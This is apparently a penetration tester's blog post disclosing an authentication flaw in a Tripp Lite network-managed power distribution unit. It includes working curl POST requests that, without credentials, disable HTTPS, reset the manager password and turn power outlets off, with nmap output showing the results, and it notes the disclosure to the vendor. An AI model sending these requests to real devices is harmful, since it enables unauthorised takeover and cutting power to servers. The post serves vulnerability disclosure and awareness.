Typically during internal network penetration tests, pentesters come across many different types of devices. Much of the focus is likely on the Windows/UNIX-like systems and critical infrastructure devices (e.g., storage, DNS servers, routers, switches, etc.). There are, however, a number of other network connected devices that often times get passed over due to factors such as function, purpose, placement, or lack of sensitive data contained within.

A pentester may take a second look at a given device because telnet or FTP is enabled, but after a cursory glance at the HTTP listener and thinking it is a UPS - maybe they will likely skip over it in favor of the Linux system running Apache, MySQL, and SSH.

Welcome to the land of forgotten and misfit toys ... this is not exciting, cutting-edge, sexy stuff. These are devices organizations typically plug in, configure minimally (just enough to "do the job"), and forget about. In this post, I discuss a particular vulnerability of a TrippLite Power Distribution Unit (PDU).

Out of technical curiosity, I picked up a used TrippLite Power Distribution Unit (PDU) several months back. Basically, A PDU is a heavy-duty power strip. Often, these units are rack-mountable and contain a network management card, so that they can be deployed in server rooms or data centers and managed remotely.

Target:

Manufacturer:		Tripp Lite
Model:			TRIPP LITE PDUMH15AT
Firmware Version:	12.04.0053

There are a number of obvious security issues with this device and its firmware version that we will not focus on in this blog post, namely:

• Well-documented, default credentials
• Athentication being performed over cleartext (telnet, ftp, and http)
• Basic Auth being done (every request) over HTTP
• XSS issue in configuring an email contact
• Management interface denial of service issues via dumping memory and four unsuccessful SCP attempts

The above list is pretty boring, but there is one more vulnerability that's mildly interesting.

Issue: Unauthenticated POSTs

During legitimate, authenticated use, configuration changes to the PDU are made through POSTs sent to a number of pages under http://<IP Address>/Forms/. Unfortunately, the PDU does not check that these POSTs contain the Basic Auth header, which means that an attacker can turn on/off PDU management services, configure credentials, or turn on/off power to your servers ... remotely, without providing authentication.

To demonstrate turning off a management service, we will use HTTPS as our victim service. First, let's establish that it is running.

$ nmap -sT -p 80,443 192.168.1.87

Starting Nmap 7.30 ( https://nmap.org ) at 2017-02-13 11:26 CST
Nmap scan report for 192.168.1.87
Host is up (0.0021s latency).
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Next, we issue a POST without authentication to turn the service off.

$ curl -X POST -d "netweb_access=00000001&nethttp_access=00000001&nethttp_port=80&nethttps_access=
00000000&nethttps_port=443&savechanges=Save+Changes" http://192.168.1.87/Forms/network_web_1

Then, we restart the management interface, which causes our change to take effect. Finally, we re-run nmap to show that the HTTPS service is now off:

$ curl -X POST -d "startreset=Restart+PowerAlert" http://192.168.1.87/Forms/requestreset_1

$ nmap -sT -p 80,443 192.168.1.87

Starting Nmap 7.30 ( https://nmap.org ) at 2017-02-13 11:29 CST
Nmap scan report for 192.168.1.87
Host is up (0.0035s latency).
PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Okay, mildly interesting ... but what I really want is to log into the device and do things. Unfortunately, I don't know the password. Wait a tick ... can we use the same unauthenticated POST vulnerability to set the password for the manager account? Turns out we can, as shown here:

$ curl -X POST -d "securityrou=guest&securityro1=guest&securityro2=guest&securityrwu=
manager&securityrw1=manager3&securityrw2=manager3&securityadu=admin&securityad1=admin&securityad2=
admin&savechanges=Save+Changes" http://192.168.1.87/Forms/system_security_1

Once the password has been set, all we need to do is restart the management interface:

$ curl -X POST -d "startreset=Restart+PowerAlert" http://192.168.1.87/Forms/requestreset_1

And presto ... we can now login to the manager account using a password of 'manager3'. Naturally, you can use the same technique to set the admin password as well.

The web interface allows for authenticated users to turn on/off power to individual outlets. As was mentioned, the problem is that the POSTs can be sent to the device with the correct data but without a Basic Auth header, and the PDU will still honor the request.

To turn off the power to outlet #1:

$ curl -X POST -d "actLoadId=1&loadoff1=Off" http://192.168.1.87/Forms/action_load_list_1

To turn the power back on again to outlet #1:

$ curl -X POST -d "actLoadId=1&loadon1=On" http://192.168.1.87/Forms/action_load_list_1

The unauthenticated POST vulnerability was reported to TrippLite in Q1 of 2018. They were unconcerned when we reported the issue since a newer version of the firmware that was not vulnerable had already been released. TrippLite did not elaborate on whether or not the vulnerability had been reported previously or if the new version of the firmware (which appears to be a significant re-write to the web interface) addressed the issue intentionally (or unintentionally).

But, the question I have is: "How many organizations include network-attached PDUs in their patch management program?"